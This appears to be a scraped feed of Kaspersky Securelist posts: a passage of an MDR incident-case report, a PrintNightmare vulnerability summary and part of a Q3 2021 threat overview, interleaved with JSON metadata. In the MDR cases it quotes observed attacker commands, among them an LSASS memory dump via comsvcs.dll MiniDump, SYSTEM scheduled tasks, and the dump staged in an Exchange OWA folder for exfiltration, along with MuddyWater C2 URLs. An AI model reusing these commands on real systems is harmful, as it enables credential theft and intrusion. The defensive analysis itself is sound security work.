Next, the spooler service called the newly created _DLL_ files. \nIn addition, the attacker ran some of the created libraries using the rundll32 component. | \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151347/MDR_interesting_cases_04.png>) | Several hours later, a new wave of activity began. The Kaspersky MDR team detected a registry key modification that forces NTLMv1 authentication. It potentially allows [NTLM hashes](<https://book.hacktricks.xyz/windows/ntlm#basic-ntlm-domain-authentication-scheme>) to be intercepted. | \\REGISTRY\\MACHINE\\SYSTEM\\Control \nSet001\\Control\\Lsa\\MSV1_0 \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | Then the attacker re-added spooler to the planned tasks. \nAfter that, execution of various commands on the host with System privileges was observed. The source of this activity was _c:\\windows\\system32\\spoolsv.exe_ process | C:\\Windows\\System32\\cmd.exe /c \nnet start spooler \nC:\\Windows\\System32\\cmd.exe /c \ntimeout 600 &gt; NUL &amp;&amp; \nnet start spooler \n \nThe table below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1570: ** \nLateral Tool Transfer | Web AV exact detect in _OnDownload_ mode | AV verdict: HEUR:Trojan.Win32.Shelma.gen | Attacker downloads \nsuspicious DLL (that is, \nMeterpreter payload) via \nHTTP \n**T1140:** \nDeobfuscate/Decode Files or Information | Local File Modification | Process command lines: \ncertutil -decode 1.txt \nC:\\Share\\hello4.dll | Attacker used _certutil_ \nto decode text file into PE \nbinary \n**T1003.001: \n**OS Credential Dumping: LSASS Memory | AV exact detect in _OnAccess_ mode | AV verdicts: \nVHO:Trojan\u2011PSW.Win64.Mimikatz.gen \nTrojan-PSW.Win32.Mimikatz.gen | Attacker tried to use \nMimikatz \n**T1127.001: \n**Trusted Developer Utilities Proxy Execution: MSBuild | Outbound network connection | Process command line: \nC:\\Windows\\Microsoft.NET\\Framework\\v4 \n.0.30319\\MSBuild.exe C:\\Share\\1.xml | MSBuild network activity \n**T1210: \n**Exploitation of Remote Services | Local File Modification | Modified file path: \nC:\\Windows\\System32\\spool\\drivers\\x64 \n\\3\\old\\1\\hello5.dllFile modifier: \nC:\\Windows\\System32\\spoolsv.exe \nParent of the modifier: \nC:\\Windows\\System32\\services.exe | Legitimate \nspoolsv.exe locally \nmodified \nc:\\windows\\system3 \n2\\spool\\drivers\\x6 \n4\\3\\old\\1\\hello5.dll \n**T1547.012: \n**Boot or Logon Autostart Execution: Print Processors \n**T1033: \n**System Owner/User Discovery | Process start | Command line: whoami \nProcess integrity level: System \nParent process: \nC:\\WINDOWS\\System32\\spoolsv.exe \nGrandparent process: \nC:\\Windows\\System32\\services.exe | Legitimate \nspoolsv.exe started \nwhoami with System \nintegrity level \n**T1547.012:** \nBoot or Logon Autostart Execution: Print Processors | Outbound network connection | Process command line: \nC:\\Windows\\System32\\spoolsv.exe \nRemote TCP port: 4444/TCP | Legitimate \nspoolsv.exe made a \nconnection to default \nMeterpreter port \n(4444/TCP) \n**T1547.012:** \nBoot or Logon Autostart Execution: Print Processors \n**T1059.003:** \nCommand and Scripting Interpreter: Windows Command Shell \n**T1033:** \nSystem Owner/User Discovery | Process start | Command line: whoami \nProcess integrity level: System \nParent process: \nC:\\Windows\\System32\\cmd.exe \nGrandparent process: \nC:\\Windows\\System32\\spoolsv.exe | Legitimate \nspoolsv.exe started \ncmd.exe that started \nwhoami with System \nintegrity level \n \n## MuddyWater attack\n\nIn this case, the Kaspersky MDR team detected a request from the customer's infrastructure to a malicious APT related host. Further investigation allowed us to attribute this attack to the [MuddyWater group](<https://attack.mitre.org/groups/G0069/>). MuddyWater is a threat actor that first surfaced in 2017. This APT group mainly targets government agencies in Iraq, Saudi Arabia, Jordan, Turkey, Azerbaijan, and Pakistan. Kaspersky's report on this group's activity is available [here](<https://securelist.com/muddywaters-arsenal/90659/>).\n\nAmong other methods, the group uses VBS implants in phishing emails as an initial attack vector. During execution, the implant accesses URLs with a common structure to connect to the C2 server. The typical structure of the URL is provided below.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151840/MDR_interesting_cases_05.png>)\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14152658/MDR_interesting_cases_06.png>) | First of all, MDR analysts found a VBS implant from startup, presumably related to the MuddyWater group, to be running on the monitored host. | \\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\KLWB6.vbs \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | After script execution, some malicious resources were accessed. The structure of these URLs follows the common structure used by the MuddyWater group. In addition, the accessed IP address was observed in other attacks of this group. | hxxp://185[.]117[.]73[.]52:443/getTarget \nInfo?guid=xxx-yyy-zzz&status=1 \nhxxp://185[.]117[.]73[.]52:443/getComman \nd?guid=xxx-yyy-zzz* \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14153224/MDR_interesting_cases_07.png>) | Next, execution of commands to collect information from the compromised host was observed. | "C:\\Windows\\System32\\cmd.exe" /c \nexplorer.exe >> \nc:\\ProgramData\\app_setting_readme.txt "C:\\Windows\\System32\\cmd.exe" /c whoami >> c:\\ProgramData\\app_setting_readme.txt \n \n**_* xxx is company short name (identifier), yyy is the victim hostname and zzz is username_**\n\nTable below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1071: \n**Application Layer Protocol | Access to malicious hosts from nonbrowsers | Target URL: \nhxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid \n=xxx-yyy-zzz&status=1 \nCMD line: \n"C:\\Windows\\System32\\WScript.exe" C:\\Users\\USERNAME\\AppData\\Roaming\\Microsoft\\Windo \nws\\Start Menu\\Programs\\Startup\\KLWB6.vbs \nProcess: \nC:\\Windows\\system32\\wscript.exe | VBS script accessed malicious URL during execution \n**T1071:** \nApplication Layer Protocol | URL exact detect | Malicious URL: \nhxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid \n=xxx-yyy-zzz&status=1 \nAV verdict: \nMalware | Malicious URL was successfully detected by AV \n \n## Credential Dumping from LSASS Memory\n\nIn the last case, we'd like to talk about an attack related to collecting credentials from the LSASS process memory dump (T1003.001 MITRE technique). Local Security Authority Subsystem Service (LSASS) stores a variety of credentials in process memory. These credentials can be harvested by System or administrative user and then used for attack development or lateral movement.\n\nMDR analysts detected an attempt to dump the LSASS process memory on the monitored host, despite the fact that most of the attacker's actions did not differ from the usual actions of the administrator. The attackers used two public tools (the first one was detected and blocked by an AV solution) to dump the LSASS process memory and export the obtained dump via Exchange server. In particular, the MDR team observed the download and execution of a suspicious DLL file (categorized as SSP) by LSASS.exe.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151347/MDR_interesting_cases_04.png>) | The attacker executed several recon commands to get more information about the host, and then ran commands to get the LSASS process ID. | C:\\Windows\\System32\\tasklist.exe \nC:\\Windows\\System32\\findstr.exe /i sass \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | After that, the attacker tried to run a malicious tool to dump the process memory, but it was blocked by an endpoint protection solution. | "C:\\Windows\\System32\\rundll32.exe" \nC:\\Windows\\System32\\comsvcs.dll MiniDump 616 \nc:\\programdata\\cdera.bin full\n\n_## 616 is LSASS process id_ \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154017/MDR_interesting_cases_08.png>) | Then the attacker tried to dump the LSASS process memory using another tool. They unzipped an archive containing the _resource.exe_ and _twindump.dll_ files. | C:\\Windows\\System32\\cmd.exe /C c:\\"program files"\\7- \nzip\\7z.exe x -pKJERKL6j4dk&@1 c:\\programdata\\m.zip -o \nc:\\windows\\cluster\n\n## _resource.exe_ and _twindump.dll_ files were created \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151142/MDR_interesting_cases_03.png>) | Subsequently, the file _resource.exe_ was added to the planned tasks and executed. However, the attempt to obtain an LSASS dump was unsuccessful. | C:\\Windows\\System32\\cmd.exe /C \nC:\\Windows\\System32\\staskes.exe /create /tn Ecoh /tr \n"cmd /c C:\\Windows\\cluster\\resource.exe \nase2af6das3fzc2 agasg2aa23gfdgd" /sc onstart /ru \nsystem /F\n\n## staskes.exe is a renamed schtasks.exe file \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154042/MDR_interesting_cases_09.png>) | Later, one more attempt to perform this technique was made. The attacker unpacked an archive containing another malicious utility, and ran it the same way as previously. The created files are presumably related to the [MirrorDump](<https://github.com/CCob/MirrorDump>) tool. As a result, the attacker successfully obtained an LSASS dump. | C:\\Windows\\System32\\cmd.exe /C c:\\"program files"\\7- \nzip\\7z.exe x -p"KJERfK#L6j4dk321\u2033 \nc:\\programdata\\E.zip -o c:\\programdata\\ \nC:\\Windows\\System32\\cmd.exe \n/C c:\\windows\\system32\\staskes.exe /create /tn Ecoh /tr \n"c:\\programdata\\InEnglish.exe g2@j5js1 0sdfs,48 \nC:\\programdata\\EnglishEDouble \nC:\\programdata\\EnglishDDouble \nC:\\programdata\\English1.dll \nC:\\programdata\\English.dmp" /sc onstart /ru system /F C:\\Windows\\System32\\cmd.exe /C c:\\windows\\system32\\staskes.exe /run /tn Ecoh \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154059/MDR_interesting_cases_10.png>) | Then the obtained dump was exported to Exchange server. Afterwards, the attacker deleted all the created files. | C:\\Windows\\System32\\cmd.exe /C copy \nc:\\programdata\\Es.zip \nc:\\Program Files\\Microsoft\\Exchange Server\\V14\\ClientAccess\\owa\\auth\\Es.png \n \nTable below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | AV exact detect | AV verdict: \nPDM:Exploit.Win32.GenericProcess command line: \n"C:\\Windows\\System32\\rundll32.exe" \nC:\\Windows\\System32\\comsvcs.dll MiniDump \n**616** C:\\programdata\\cdera.bin full \nParent process command line: \nC:\\Windows\\System32\\wsmprovhost.exe - \nEmbedding \nGrandparent process command line:: \nC:\\Windows\\System32\\svchost.exe -k \nDcomLaunchProcess logon type: 3 (Network logon) | Remotely executed \nprocess memory dump \nwas detected by AM \nengine \n**616** is LSASS process \nPID \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | Create section (load DLL) \nExecute section (run DLL) | DLL name: C:\\programdata\\english1.dll \nProcess: C:\\Windows\\System32\\lsass.exe \nProcess PID: **616** \nParent process: command line: C:\\Windows\\System32\\wininit.exe \nProcess integrity level: System | Unknown DLL was loaded and executed within lsass.exe \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | Inexact AV detect | Internal AV verdict: The file is Security Support \nProvider (SSP) \nFile path: C:\\programdata\\english1.dll \nProcess: C:\\Windows\\System32\\lsass.exe | Unknown DLL loaded to lsass is SSP \n**T1053.005:** \nScheduled Task/Job: Scheduled Task | Create process | Process command line: \nC:\\programdata\\InEnglish.exe g2@j5js1 \n0sdfs,48 C:\\programdata\\EnglishEDouble C:\\programdata\\EnglishDDouble \n**C:\\programdata**\\English1.dll \nC:\\programdata\\English.dmp \nParent process command line: \ntaskeng.exe {7725474B-D9EA-473D-B10D- \nAC0572A0AA70} S-1-5-18:NT \nAUTHORITY\\System:Service: \nGrandparent process command line: \nC:\\Windows\\System32\\svchost.exe -k netsvcs \nProcess integrity level: System \nProcess user SID: S-1-5-18 | Suspicious executable from C:\\programdata run as scheduled task under _System_ privileges \n \nObserved malicious files:\n\nc:\\programdata\\e.zip | 0x37630451944A1DD027F5A9B643790B10 \n---|--- \nc:\\programdata\\es.zip | 0x3319BD8B628F8051506EE8FD4999C4C3 \nc:\\programdata\\m.zip | 0xC15D90F8374393DA2533BAF7359E31F9 \nc:\\programdata\\inenglish.exe | 0xCB15B1F707315FB61E667E0218F7784D \nc:\\programdata\\english1.dll | 0x358C5061B8DF0E0699E936A0F48EAFE1 \nc:\\windows\\cluster\\resource.exe | 0x872A776C523FC33888C410081A650070 \nc:\\windows\\cluster\\twindump.dll | 0xF980FD026610E4D0B31BAA5902785EDE \n \n## Conclusion\n\nAttackers follow trends. They use any loophole to break into your corporate network. Sometimes they learn about new vulnerabilities in products earlier than security researchers do. Sometimes they hide so skillfully that their actions are indistinguishable from those of your employees or administrators.\n\nCountering targeted attacks requires extensive experience as well as constant learning. Kaspersky Managed Detection and Response delivers fully managed, individually tailored ongoing detection, prioritization, investigation, and response. As a result, it provides all the major benefits from having your own security operations center without having to actually set one up.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-15T10:00:42", "type": "securelist", "title": "Kaspersky Managed Detection and Response: interesting cases", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-12-15T10:00:42", "id": "SECURELIST:830DE5B1B5EBB6AEE4B12EF66AD749F9", "href": "https://securelist.com/kaspersky-managed-detection-and-response-interesting-cases/105214/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:33:23", "description": "\n\n## Summary\n\nLast week Microsoft warned Windows users about vulnerabilities in the Windows Print Spooler service \u2013 CVE-2021-1675 and CVE-2021-34527 (also known as PrintNightmare). Both vulnerabilities can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers.\n\nKaspersky products protect against attacks leveraging these vulnerabilities. The following detection names are used:\n\n * HEUR:Exploit.Win32.CVE-2021-1675.*\n * HEUR:Exploit.Win32.CVE-2021-34527.*\n * HEUR:Exploit.MSIL.CVE-2021-34527.*\n * HEUR:Exploit.Script.CVE-2021-34527.*\n * HEUR:Trojan-Dropper.Win32.Pegazus.gen\n * PDM:Exploit.Win32.Generic\n * PDM:Trojan.Win32.Generic\n * Exploit.Win32.CVE-2021-1675.*\n * Exploit.Win64.CVE-2021-1675.*\n\nOur detection logic is also successfully blocks attack technique from the latest Mimikatz framework v. 2.2.0-20210707.\n\nWe are closely monitoring the situation and improving generic detection of these vulnerabilities using our [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and Exploit Prevention components. As part of our [Managed Detection and Response service](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) Kaspersky SOC experts are able to detect exploitation of these vulnerabilities, investigate such attacks and report to customers.\n\n## Technical details\n\n### CVE-2021-34527\n\nWhen using RPC protocols to add a new printer (_RpcAsyncAddPrinterDriver [MS-PAR] or RpcAddPrinterDriverEx [MS-RPRN]_) a client has to provide multiple parameters to the Print Spooler service:\n\n * _pDataFile_ - a path to a data file for this printer;\n * _pConfigFile_ - a path to a configuration file for this printer;\n * _pDriverPath_ - a path to a driver file that's used by this printer while it's working.\n\nThe service makes several checks to ensure _pDataFile_ and _pDriverPath_ are not UNC paths, but there is no corresponding check for pConfigFile, meaning the service will copy the configuration DLL to the folder _%SYSTEMROOT%\\system32\\spool\\drivers\\x64\\3\\_ (on x64 versions of the OS).\n\nNow, if the Windows Print Spooler service tries to add a printer again, but this time sets pDataFile to the copied DLL path (from the previous step), the print service will load this DLL because its path is not a UNC path, and the check will be successfully passed. These methods can be used by a low-privileged account, and the DLL is loaded by the _NT AUTHORITY\\SYSTEM group_ process.\n\n### CVE-2021-1675\n\nThe local version of PrintNightmare uses the same method for exploitation as CVE-2021-34527, but there's a difference in the entrypoint function (_AddPrinterDriverEx_). This means an attacker can place a malicious DLL in any locally accessible directory to run the exploit.\n\n## Mitigations\n\nKaspersky experts anticipate a growing number of exploitation attempts to gain access to resources inside corporate perimeters accompanied by a high risk of ransomware infection and data theft.\n\nTherefore, it is strongly recommended to follow Microsoft [guidelines](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-print-spooler>) and apply the latest security updates for Windows.\n\nQuoting Microsoft (as of July 7th, 2021): \n_"Due to the possibility for exposure, domain controllers and Active Directory admin systems need to have the Print spooler service disabled. The recommended way to do this is using a Group Policy Object (GPO). \nWhile this security assessment focuses on domain controllers, any server is potentially at risk to this type of attack."_", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-08T05:00:06", "type": "securelist", "title": "Quick look at CVE-2021-1675 & CVE-2021-34527 (aka PrintNightmare)", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T05:00:06", "id": "SECURELIST:0C07A61E6D92865F5B58728A60866991", "href": "https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-26T14:36:44", "description": "\n\n * **IT threat evolution Q3 2021**\n * [IT threat evolution in Q3 2021. PC statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-pc-statistics/104982/>)\n * [IT threat evolution in Q3 2021. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-mobile-statistics/105020/>)\n\n## Targeted attacks\n\n### WildPressure targets macOS\n\nLast March, we reported a [WildPressure campaign targeting industrial-related entities in the Middle East](<https://securelist.com/wildpressure-targets-industrial-in-the-middle-east/96360/>). While tracking this threat actor in spring 2021, we discovered a newer version. It contains the C++ Milum Trojan, a corresponding VBScript variant and a set of modules that include an orchestrator and three plugins. This confirms our previous assumption that there were more last-stagers besides the C++ ones.\n\nAnother language used by WildPressure is Python. The PyInstaller module for Windows contains a script named "Guard". Interestingly, this malware was developed for both Windows and macOS operating systems. The coding style, overall design and C2 communication protocol is quite recognizable across all three programming languages used by the authors.\n\nWildPressure used both virtual private servers (VPS) and compromised servers in its infrastructure, most of which were WordPress websites.\n\nWe have very limited visibility for the samples described in our report, but our telemetry suggests that the targets in this campaign were also from the oil and gas industry.\n\nYou can view our report on the new version [here](<https://securelist.com/wildpressure-targets-macos/103072/>), together with a video presentation of our findings.\n\n### LuminousMoth: sweeping attacks for the chosen few\n\nWe recently uncovered a large-scale and highly active attack against targets in Southeast Asia by a threat actor that we call [LuminousMoth](<https://securelist.com/apt-luminousmoth/103332/>). The campaign dates back to October last year and was still ongoing at the time we published our public report in July. Most of the early sightings were in Myanmar, but it seems the threat actor is now much more active in the Philippines. Targets include high-profile organizations: namely, government entities located both within those countries and abroad.\n\nMost APT threats carefully select their targets and tailor the infection vectors, implants and payloads to the victims' identities or environment. It's not often we observe a large-scale attack by APT threat actors \u2013 they usually avoid such attacks because they are too 'noisy' and risk drawing attention to the campaign. LuminousMoth is an exception. We observed a high number of infections; although we think the campaign was aimed at a few targets of interest.\n\nThe attackers obtain initial access to a system by sending a spear-phishing email to the victim containing a Dropbox download link. The link leads to a RAR archive that masquerades as a Word document. The archive contains two malicious DLL libraries as well as two legitimate executables that side-load the DLL files. We found multiple archives like this with file names of government entities linked to Myanmar.\n\nWe also observed a second infection vector that comes into play after the first one has successfully finished. The malware tries to spread to other hosts on the network by infecting USB drives.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12153755/LuminousMoth_01.png>)\n\nIn addition to the malicious DLLs, the attackers also deployed a signed, but fake version of the popular application Zoom on some infected systems, enabling them to exfiltrate data.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/12154002/LuminousMoth_05.png>)\n\nThe threat actor also deploys an additional tool that accesses a victim's Gmail session by stealing cookies from the Chrome browser.\n\nInfrastructure ties as well as shared TTPs allude to a possible connection between LuminousMoth and the HoneyMyte threat group, which has been seen targeting the same region using similar tools in the past.\n\n### Targeted attacks exploiting CVE-2021-40444\n\nOn September 7, [Microsoft reported a zero-day vulnerability](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) (CVE-2021-40444) that could allow an attacker to execute code remotely on vulnerable computers. The vulnerability is in MSHTML, the Internet Explorer engine. Even though few people use IE nowadays, some programs use its engine to handle web content \u2013 in particular, Microsoft Office applications.\n\nWe [have seen targeted attacks](<https://securelist.com/exploitation-of-the-cve-2021-40444-vulnerability-in-mshtml/104218/>) exploiting the vulnerability to target companies in research and development, the energy sector and other major industries, banking, the medical technology sector, as well as telecoms and IT.\n\nTo exploit the vulnerability, attackers embed a special object in a Microsoft Office document containing a URL for a malicious script. If the victim opens the document, Microsoft Office downloads the script and runs it using the MSHTML engine. Then the script can use ActiveX controls to perform malicious actions on the victim's computer.\n\n### Tomiris backdoor linked to SolarWinds attack\n\nThe SolarWinds incident last December stood out because of the extreme carefulness of the attackers and the high-profile nature of their victims. The evidence suggests that the threat actor behind the attack, DarkHalo (aka Nobelium), had spent six months inside OrionIT's networks to perfect their attack. The following timeline sums up the different steps of the campaign.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/27145035/SAS_story_Tomiris_connection_01.png>)\n\nIn June, more than six months after DarkHalo had gone dark, we observed the DNS hijacking of multiple government zones of a CIS member state that allowed the attacker to redirect traffic from government mail servers to computers under their control \u2013 probably achieved by obtaining credentials to the control panel of the victims' registrar. When victims tried to access their corporate mail, they were redirected to a fake copy of the web interface.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/27145115/SAS_story_Tomiris_connection_02.png>)\n\nAfter this, they were tricked into downloading previously unknown malware. The backdoor, dubbed Tomiris, bears a number of similarities to the second-stage malware, Sunshuttle (aka GoldMax), used by DarkHalo last year. However, there are also a number of overlaps between Tomiris and Kazuar, a backdoor that has been linked to the Turla APT threat actor. None of the similarities is enough to link Tomiris and Sunshuttle with sufficient confidence. However, taken together they suggest the possibility of common authorship or shared development practices.\n\nYou can read our analysis [here](<https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/>).\n\n### GhostEmperor\n\nEarlier this year, while investigating the rise of attacks against Exchange servers, we noticed a recurring cluster of activity that appeared in several distinct compromised networks. We attribute the activity to a previously unknown threat actor that we have called [GhostEmperor](<https://securelist.com/ghostemperor-from-proxylogon-to-kernel-mode/104407/>). This cluster stood out because it used a formerly unknown Windows kernel mode rootkit that we dubbed Demodex; and a sophisticated multi-stage malware framework aimed at providing remote control over the attacked servers.\n\nThe rootkit is used to hide the user mode malware's artefacts from investigators and security solutions, while demonstrating an interesting loading scheme involving the kernel mode component of an open-source project named Cheat Engine to bypass the Windows Driver Signature Enforcement mechanism.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/29150203/Ghost_Emperor_06.png>)\n\nWe identified multiple attack vectors that triggered an infection chain leading to the execution of the malware in memory. The majority of GhostEmperor infections were deployed on public-facing servers, as many of the malicious artefacts were installed by the httpd.exe Apache server process, the w3wp.exe IIS Windows server process, or the oc4j.jar Oracle server process. This means that the attackers probably abused vulnerabilities in the web applications running on those systems, allowing them to drop and execute their files.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/29150042/Ghost_Emperor_04.png>)\n\nAlthough infections often start with a BAT file, in some cases the known infection chain was preceded by an earlier stage: a malicious DLL that was side-loaded by wdichost.exe, a legitimate Microsoft command line utility (originally called MpCmdRun.exe). The side-loaded DLL then proceeds to decode and load an additional executable called license.rtf. Unfortunately, we did not manage to retrieve this executable, but we saw that the consecutive actions of loading it included the creation and execution of GhostEmperor scripts by wdichost.exe.\n\nThis toolset was in use from as early as July 2020, mainly targeting Southeast Asian entities, including government agencies and telecoms companies.\n\n### FinSpy: analysis of current capabilities\n\nAt the end of September, at the Kaspersky [Security Analyst Summit](<https://thesascon.com/>), our researchers provided an [overview of FinSpy](<https://securelist.com/finspy-unseen-findings/104322/>), an infamous surveillance toolset that several NGOs have repeatedly reported being used against journalists, political dissidents and human rights activists. Our analysis included not only the Windows version of FinSpy, but also Linux and macOS versions, which share the same internal structure and features.\n\nAfter 2018, we observed falling detection rates for FinSpy for Windows. However, it never actually went away \u2013 it was simply using various first-stage implants to hide its activities. We started detecting some suspicious backdoored installer packages (including TeamViewer, VLC Media Player and WinRAR); then in the middle of 2019 we found a host that served these installers along with FinSpy Mobile implants for Android.\n\nThe authors have gone to great lengths to make FinSpy inaccessible to security researchers \u2013 it seems they have put as much work into anti-analysis and obfuscation as they have into the Trojan itself. First, the samples are protected with multiple layers of evasion tactics.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/09/24151828/SAS_story_FinFisher_02.png>)\n\nMoreover, once the Trojan has been installed, it is heavily camouflaged using four complex, custom-made obfuscators.\n\nApart from Trojanized installers, we also observed infections involving use of a UEFI (Unified Extensible Firmware Interface) and MBR (Master Boot Record) bootkit. While the MBR infection has been known since at least 2014, details on the UEFI bootkit were publicly revealed for the first time in our private report on FinSpy.\n\nThe user of a smartphone or tablet can be infected through a link in a text message. In some cases (for example, if the victim's iPhone has not been not [jailbroken](<https://encyclopedia.kaspersky.com/glossary/jailbreak/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>)), the attacker may need physical access to the device.\n\n## Other malware\n\n### REvil attack on MSPs and their customers worldwide\n\nAn attack perpetrated by the REvil Ransomware-as-a-Service gang (aka Sodinokibi) targeting Managed Service Providers (MSPs) and their clients was discovered on July 2.\n\nThe attackers [identified and exploited](<https://threatpost.com/kaseya-patches-zero-day-exploits/167548/>) a zero-day vulnerability in the Kaseya Virtual System/Server Administrator (VSA) platform. The VSA software, used by Kaseya customers to remotely monitor and manage software and network infrastructure, is supplied either as a cloud service or via on-premises VSA servers.\n\nThe exploit involved deploying a malicious dropper via a PowerShell script. The script disabled Microsoft Defender features and then used the certutil.exe utility to decode a malicious executable (agent.exe) that dropped an older version of Microsoft Defender, along with the REvil ransomware packed into a malicious library. That library was then loaded by the legitimate MsMpEng.exe by utilizing the DLL side-loading technique.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/07/05113533/02-revil-attacks-msp.png>)\n\nThe attack is estimated to have resulted in the encryption of files belonging to around 60 Kaseya customers using the on-premises version of the platform. Many of them were MSPs who use VSA to manage the networks of other businesses. This MSP connection gave REvil access to those businesses, and Kaseya estimated that [around 1,500 downstream businesses were affected](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-2nd-2021>).\n\nUsing our Threat Intelligence service, we observed more than 5,000 attack attempts in 22 countries by the time [our analysis of the attack](<https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/>) was published.\n\n### What a [Print]Nightmare\n\nEarly in July, Microsoft published an alert about vulnerabilities in the Windows Print Spooler service. The vulnerabilities, [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>) and [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>) (aka PrintNightmare), can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers, making both vulnerabilities potentially very dangerous.\n\nMoreover, owing to a misunderstanding between teams of researchers, a [proof-of-concept](<https://encyclopedia.kaspersky.com/glossary/poc-proof-of-concept/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>) (PoC) exploit for PrintNightmare was [published](<https://therecord.media/poc-released-for-dangerous-windows-printnightmare-bug/>) online. The researchers involved believed that Microsoft's Patch Tuesday release in June had already solved the problem, so they shared their work with the expert community. However, while Microsoft had published a patch for CVE-2021-1675, the PrintNightmare vulnerability remained unpatched until July. The PoC was quickly removed, but not before it had been copied multiple times.\n\nCVE-2021-1675 is a [privilege 